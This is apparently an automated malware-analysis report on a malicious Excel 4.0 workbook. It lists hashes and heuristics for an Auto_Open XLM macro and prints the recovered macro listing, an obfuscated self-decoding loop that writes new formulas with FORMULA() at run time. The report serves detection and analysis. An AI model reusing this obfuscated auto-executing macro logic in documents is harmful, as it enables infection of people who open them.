Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a26083841361f338…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:59 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 49d2f5f103977861b9c7a9dcabd5d8a4 SHA-1: 4e5a888fa4034990cf6cd053e620b7e6b5e4c9f3 SHA-256: a26083841361f338a20ea2b54b5adc4b409fbd339ef0ca067582091dc92bf815
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6403 bytes
SHA-256: 25009415383447acd0ffeac602f653e4cebe85f82fef8a64fdcbcf9f5f91ab69
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wZcg
' 0018     25 LABEL : Cell Value, String Constant - ADKfkCSEKi len=0 
' 0018     22 LABEL : Cell Value, String Constant - ajscHth len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H166 
' 0018     20 LABEL : Cell Value, String Constant - ceGXt len=0 
' 0018     23 LABEL : Cell Value, String Constant - ddnMjuUV len=0 
' 0018     27 LABEL : Cell Value, String Constant - eeOvouAbnfIl len=0 
' 0018     21 LABEL : Cell Value, String Constant - EzJhwq len=0 
' 0018     23 LABEL : Cell Value, String Constant - IyFmFOhd len=0 
' 0018     22 LABEL : Cell Value, String Constant - JVHiCDY len=0 
' 0018     22 LABEL : Cell Value, String Constant - JwEvIdB len=0 
' 0018     23 LABEL : Cell Value, String Constant - lDYJEvMV len=0 
' 0018     26 LABEL : Cell Value, String Constant - lyiSqUdcvVk len=0 
' 0018     27 LABEL : Cell Value, String Constant - qfQHUhzGacGV len=0 
' 0018     24 LABEL : Cell Value, String Constant - qOeRStuyr len=0 
' 0018     26 LABEL : Cell Value, String Constant - ugeIAOVaRCm len=0 
' 0018     20 LABEL : Cell Value, String Constant - vVbOe len=0 
' 0018     20 LABEL : Cell Value, String Constant - XoNqM len=0 
' 0018     26 LABEL : Cell Value, String Constant - XPeXnSiZdqk len=0 
' 0018     22 LABEL : Cell Value, String Constant - YrhAEqr len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZFNdRgpyLHXi len=0 
' 0018     21 LABEL : Cell Value, String Constant - zhIjzD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wZcg,H73,"SET.NAME("EzJhwq",VALUE("0"))",""
'  wZcg,H75,"SET.NAME("JwEvIdB",EzJhwq)",""
'  wZcg,H80,"SET.NAME("ZFNdRgpyLHXi",EzJhwq)",""
'  wZcg,H85,"SET.NAME("YrhAEqr",COUNTA(qOeRStuyr))",""
'  wZcg,H87,"SET.NAME("ajscHth",COUNTA(ADKfkCSEKi))",""
'  wZcg,H89,[],""
'  wZcg,H93,"SET.NAME("eeOvouAbnfIl","")",""
'  wZcg,H95,"JwEvIdB",""
'  wZcg,H97,"SET.NAME("XPeXnSiZdqk",HLOOKUP("*",qOeRStuyr,JwEvIdB,FALSE))",""
'  wZcg,H99,"vVbOe",""
'  wZcg,H102,"SET.NAME("zhIjzD",EzJhwq)",""
'  wZcg,H105,[],""
'  wZcg,H108,"zhIjzD",""
'  wZcg,H113,"ugeIAOVaRCm",""
'  wZcg,H118,"IyFmFOhd",""
'  wZcg,H123,"lyiSqUdcvVk",""
'  wZcg,H127,"SET.NAME("XoNqM",VALUE(HLOOKUP("*",ADKfkCSEKi,lyiSqUdcvVk,FALSE)))",""
'  wZcg,H131,"JVHiCDY",""
'  wZcg,H136,"eeOvouAbnfIl",""
'  wZcg,H138,"ZFNdRgpyLHXi",""
'  wZcg,H143,NEXT(),""
'  wZcg,H147,"ceGXt",""
'  wZcg,H152,"SET.NAME("f",INT(T(FORMULA(T(eeOvouAbnfIl)&"",""&T(ceGXt)))))",""
'  wZcg,H157,"lDYJEvMV",""
'  wZcg,H160,NEXT(),""
'  wZcg,H164,RETURN(),""
'  wZcg,H188,"SET.NAME("qfQHUhzGacGV",H73)",""
'  wZcg,H193,"qOeRStuyr",""
'  wZcg,H197,"SET.NAME("ADKfkCSEKi",R47C13)",""
'  wZcg,H201,"SET.NAME("lDYJEvMV",207)",""
'  wZcg,H203,"SET.NAME("ddnMjuUV",8)",""
'  wZcg,H206,qfQHUhzGacGV(),""
'  wZcg,H207,HALT(),""

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